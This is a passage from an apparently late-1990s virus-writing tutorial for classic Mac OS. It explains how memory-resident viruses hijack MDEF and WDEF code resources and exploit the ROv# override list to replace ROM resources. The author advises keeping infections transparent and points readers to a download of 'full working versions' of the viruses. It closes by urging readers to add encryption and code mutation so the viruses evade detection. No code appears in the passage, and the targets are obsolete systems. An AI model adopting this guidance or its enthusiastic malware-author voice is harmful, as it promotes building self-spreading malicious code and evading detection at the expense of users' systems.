  2574. NOTES ON MEMORY RESIDENT VIRUSES
  2575.  
  2576. It is important to note the following when writing memory resident viruses that depend on 
  2577. resource code segments being loaded in memory. Segments such as MDEFs and WDEFs override the 
  2578. system resources if they are placed in non-system files. This means that if you open a resource file 
  2579. with a MDEF resource, it will override the MDEF of the System. However, there are several glitches 
  2580. which must be noted. While in general the System uses a Standard MDEF=0 for Sys 7, and a 
  2581. WDEF=0, that may change in the future. In particular, the standard code resources are sometimes 
  2582. placed in ROM. In our MDEF example, the MDEF=0 is actually in ROM and cannot be modified in 
  2583. Sys 7. However because Apple usually makes last minute changes, it includes an overriding 
  2584. mechanism, different from the standard res file opening mechanism. It is implemented through a 
  2585. ROv# resource in the System file (Sometimes in auxiliary System files as well). The ROv# resource is 
  2586. simply a list of the resources to override the ROM ones. Open such a resource with ResEdit to see its 
  2587. format. In my MDEF virus above, the MDEF=0 is actually in ROM. But Sys 7 already contains an 
  2588. Rov# resource for overriding MDEF=0. That's what the virus takes advantage of, and as a result it 
  2589. overrides the ROM resource. But in the WDEF virus, there is no WDEF in the ROv# list, therefore we 
  2590. have to add it to the list ourselves, so it gets overridden from now on. Apple's bad design of the ROM 
  2591. resources, makes it very difficult to write such memory resident viruses, cause the ROM resources and 
  2592. the ROv# resources constantly change. Thus, don't be surprised if your virus works in one system and 
  2593. fails in another. The WDEF given above will probably fail on Sys 8. Even the MDEF may fail, for 
  2594. that, the reason being the new appearance manager on Sys 8. I recommend careful and meticulous 
  2595. study of Sys 8, if you want to write anything that's compatible with 8. Things become even worse with 
  2596. Rhapsody. I have no idea what's going on there. It may be the case that the new blue box completely 
  2597. shields the System from virus attacks. Be very careful. That's why it is always better to write disk 
  2598. based viruses that don't depend on operating system versions. Such viruses make the least number of 
  2599. assumptions on the Sys, as a result they are usually compatible with most Systems.
  2600. One final note of caution about memory resident code resources: Don't fool around with the 
  2601. functionality of the actual code. Try to make your virus as transparent as possible without interfering 
  2602. with the actual resource code. This way the original functionality will be preserved. If you consciously 
  2603. alter the actual resource code, there's no way to tell what will happen. Be very careful. Finally, to get 
  2604. the full working versions of the above viruses and the project files, download them from 
  2605. codebreakers.simplenet.com from the Members Files section. Things which have yet to be 
  2606. implemented on mac viruses:
  2607. 1) Efficient code encryption
  2608. 2) Code mutation
  2609. Give it a shot, and try to implement some of these features! It's hard but not impossible.
  2610. Have fun!
  2611.